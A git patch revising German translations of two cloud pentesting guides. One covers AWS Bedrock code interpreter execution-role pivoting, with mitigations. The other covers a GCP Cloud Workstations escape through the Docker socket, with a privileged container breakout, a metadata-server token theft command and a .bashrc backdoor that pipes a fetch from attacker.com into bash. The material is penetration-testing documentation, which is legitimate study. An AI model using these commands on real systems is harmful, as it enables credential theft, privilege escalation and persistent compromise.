From 0e465852be511181701f2aa5179cb4cb7042e202 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 13 Feb 2026 10:21:15 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-bedrock-privesc/README.md | 48 +++++++++---------- .../gcp-cloud-workstations-privesc.md | 36 +++++++------- 2 files changed, 41 insertions(+), 43 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 5273d54e8..0f4e37d5c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -Der AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einem **`executionRoleArn`** konfiguriert werden, das „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“. +AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einer **`executionRoleArn`** konfiguriert werden, die „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“. -Wenn ein **IAM-Principal mit geringeren Rechten** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **höher privilegierten Execution-Rolle** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der Execution-Rolle pivoten** (lateral movement / privilege escalation abhängig vom Umfang der Rolle). +Wenn ein **lower-privileged IAM principal** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **privilegierteren execution role** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der execution role pivoten** (lateral movement / privilege escalation, je nach Umfang der Rolle). > [!NOTE] -> Dies ist typischerweise ein **Fehlkonfiguration / übermäßige Berechtigungen**-Problem (zu weite Rechte für die Interpreter-Execution-Rolle und/oder zu breite Invoke-Rechte). -> AWS warnt explizit davor, Privilegieneskalation zu vermeiden, indem Execution-Rollen **gleich viele oder weniger** Rechte haben als die Identitäten, denen Invoke erlaubt ist. +> Dies ist typischerweise ein **misconfiguration / excessive permissions**-Problem (z. B. weitreichende Berechtigungen für die interpreter execution role und/oder breite Invoke-Rechte). +> AWS warnt ausdrücklich davor, Privilege Escalation zu vermeiden, indem execution roles **gleich oder weniger** Berechtigungen haben als die Identitäten, die zum Invoke berechtigt sind. #### Preconditions (common misconfiguration) -- Ein **custom code interpreter** existiert mit einer überprivilegierten **Execution-Rolle** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten). -- Ein Benutzer (Entwickler/Auditor/CI-Identität) hat Berechtigungen für: -- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` -- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` -- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach organisatorischen Richtlinien einen neuen Interpreter mit einer Execution-Rolle zu erstellen). +- Ein **custom code interpreter** existiert mit einer überprivilegierten **execution role** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten). +- Ein Benutzer (developer/auditor/CI identity) hat Berechtigungen für: + - Sessions starten: `bedrock-agentcore:StartCodeInterpreterSession` + - Tools aufrufen: `bedrock-agentcore:InvokeCodeInterpreter` +- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach org guardrails, einen neuen Interpreter zu erstellen, der mit einer execution role konfiguriert ist). #### Recon (identify custom interpreters and execution role usage) -Interpreter auflisten (control-plane) und deren Konfiguration prüfen: +Liste Interpreter (control-plane) und untersuche ihre Konfiguration: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id ```` -> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, das definiert, welche AWS-Berechtigungen der Interpreter haben wird. +> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, der festlegt, welche AWS-Berechtigungen der Interpreter haben wird. -#### Schritt 1 - Eine Session starten (dies gibt eine `sessionId` zurück, not an interactive shell) +#### Schritt 1 - Sitzung starten (dies gibt eine `sessionId` zurück, keine interaktive Shell) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signed HTTPS) +#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signiertes HTTPS) -Es gibt **keine interaktive python-Shell** von `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**. +Es gibt **keine interaktive Python-Shell** durch `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**. -**Option A - Boto3 Beispiel (Python ausführen + Identität prüfen):** +**Option A - Boto3-Beispiel (Python ausführen + Identität überprüfen):** ```python import boto3 @@ -68,7 +68,7 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht die des niedrig privilegierten Aufrufers), was den Pivot demonstriert. +Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht den low-priv caller) und damit den Pivot demonstrieren. **Option B - Signierter HTTPS-Aufruf (awscurl):** ```bash @@ -89,18 +89,18 @@ awscurl -X POST \ ``` #### Auswirkungen -* **Lateral movement** in jeden AWS-Zugriff, den die interpreter execution role hat. -* **Privilege escalation** wenn die interpreter execution role privilegierter ist als der Aufrufer. -* Schwerer zu erkennen, wenn CloudTrail data events für interpreter-Aufrufe nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise standardmäßig nicht protokolliert). +* **Lateral movement** in jeglichen AWS-Zugriff, den die interpreter execution role hat. +* **Privilege escalation** wenn die interpreter execution role mehr Berechtigungen hat als der Aufrufer. +* Schwerer zu erkennen, wenn CloudTrail data events für interpreter invocations nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise nicht standardmäßig protokolliert). #### Gegenmaßnahmen / Härtung -* **Least privilege** auf der interpreter `executionRoleArn` (behandle es wie Lambda execution roles / CI roles). -* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sitzungen starten kann. -* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Org-Ebene kann notwendig sein). -* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo anwendbar; alarmiere bei unerwarteten Aufrufen und bei Erstellung von Sessions. +* **Least privilege** für die interpreter `executionRoleArn` (behandle diese wie Lambda execution roles / CI roles). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sessions starten kann. +* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Organisationsebene kann notwendig sein). +* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo zutreffend; alarmiere bei unerwarteten Aufrufen und Session-Erstellungen. -## References +## Referenzen - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index ba7416414..e0a064065 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -3,20 +3,20 @@ ### Container Breakout via Docker Socket (Container -> VM -> Project) -Der primäre Pfad zur Privilegieneskalation in Cloud Workstations ergibt sich aus der Anforderung, **Docker-in-Docker (DinD)**-Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration den Docker-Socket mountet oder privileged containers erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die darunterliegende Compute Engine VM entkommen und dessen service account token stehlen. +Der primäre Privilegien-Eskalationspfad in Cloud Workstations ergibt sich aus der Notwendigkeit, **Docker-in-Docker (DinD)**-Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration das Docker socket einbindet oder privilegierte Container erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die zugrunde liegende Compute Engine VM entkommen und das Service-Account-Token stehlen. **Voraussetzungen:** -- Zugriff auf ein Cloud Workstation-Terminal (via SSH, compromised session, or stolen credentials) -- Die Workstation-Konfiguration muss `/var/run/docker.sock` mounten oder privileged containers aktivieren +- Zugriff auf ein Cloud Workstation-Terminal (per SSH, kompromittierte Sitzung oder gestohlene Anmeldedaten) +- Die Workstation-Konfiguration muss `/var/run/docker.sock` mounten oder privilegierte Container erlauben -**Architekturkontext:** Die Workstation ist ein Container (Layer 3), der auf einer Docker/Containerd-Runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Der Docker-Socket gibt direkten Zugriff auf die Container-Runtime des Hosts. +**Architekturkontext:** Die Workstation ist ein Container (Layer 3), der auf einer Docker/Containerd-Runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Das Docker socket gewährt direkten Zugriff auf die Container-Runtime des Hosts. > [!NOTE] -> Das Tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatisiert den vollständigen container escape und bringt dich in eine root shell auf der Host-VM. +> Das Tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatisiert den vollständigen container escape und öffnet eine root shell auf der Host-VM.
-Schritt 1: Auf Docker socket prüfen +Schritt 1: Überprüfen auf Docker socket ```bash # Verify the Docker socket is available ls -l /var/run/docker.sock @@ -28,9 +28,7 @@ ls -l /var/run/docker.sock Schritt 2: Escape to the host VM filesystem -Wir starten einen privileged container und mounten das Host-root directory nach `/mnt/host`. Außerdem teilen wir das Host-network und die PID namespace, um die Sichtbarkeit zu maximieren. - -
+Wir starten einen privileged container und mounten das Root-Verzeichnis des Hosts nach `/mnt/host`. Außerdem teilen wir das Netzwerk und den PID namespace des Hosts, um die Sichtbarkeit zu maximieren. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -40,13 +38,13 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Sie haben jetzt eine **root shell auf der zugrunde liegenden Compute Engine VM** (Layer 1). +Du hast jetzt eine **root shell auf der zugrunde liegenden Compute Engine VM** (Layer 1).
-Schritt 3: VM service account token aus IMDS stehlen +Schritt 3: Steal the VM service account token from IMDS ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -63,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION] -> **Überprüfen Sie die Scopes!** -> Auch wenn das angehängte Service Account **Editor** ist, kann die VM durch Access-Scopes eingeschränkt sein. -> Wenn Sie `https://www.googleapis.com/auth/cloud-platform` sehen, haben Sie vollen Zugriff. -> Wenn Sie nur `logging.write` und `monitoring.write` sehen, sind Sie auf die untenstehenden Vektoren **Network Pivot** und **Persistence** beschränkt. +> **Prüfe die Scopes!** +> Selbst wenn das angehängte Service Account **Editor** ist, kann die VM durch access scopes eingeschränkt sein. +> Wenn du `https://www.googleapis.com/auth/cloud-platform` siehst, hast du vollständigen Zugriff. +> Wenn du nur `logging.write` und `monitoring.write` siehst, bist du auf die **Network Pivot**- und **Persistence**-Vektoren weiter unten beschränkt.
-Schritt 4: Erreiche Persistence (Backdoor the User) +Schritt 4: Persistence erreichen (Backdoor the User) -Cloud Workstations mounten ein persistentes Laufwerk unter `/home/user`. Da der Container-Benutzer (gewöhnlich `user`, UID 1000) mit dem Host-Benutzer (UID 1000) übereinstimmt, können Sie in das Home-Verzeichnis des Hosts schreiben. Dadurch können Sie die Umgebung backdooren, selbst wenn der Workstation-Container neu aufgebaut wird. +Cloud Workstations binden einen persistenten Datenträger unter `/home/user` ein. Da der Container-Benutzer (normalerweise `user`, UID 1000) mit dem Host-Benutzer (UID 1000) übereinstimmt, kannst du in das Home-Verzeichnis des Hosts schreiben. Damit kannst du die Umgebung backdooren, selbst wenn der Workstation-Container neu aufgebaut wird. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,9 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
-Schritt 5: Network Pivot (Internal VPC Access) +Step 5: Network Pivot (Internal VPC Access) -Da du das host network namespace (`--net=host`) teilst, bist du jetzt ein trusted node im VPC. Du kannst nach internen Services scannen, die Zugriff auf Basis von IP whitelisting erlauben. +Da Sie den Host-Netzwerk-Namensraum (`--net=host`) teilen, sind Sie jetzt ein vertrauenswürdiger Knoten im VPC. Sie können nach internen Diensten scannen, die Zugriff basierend auf IP whitelisting erlauben. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap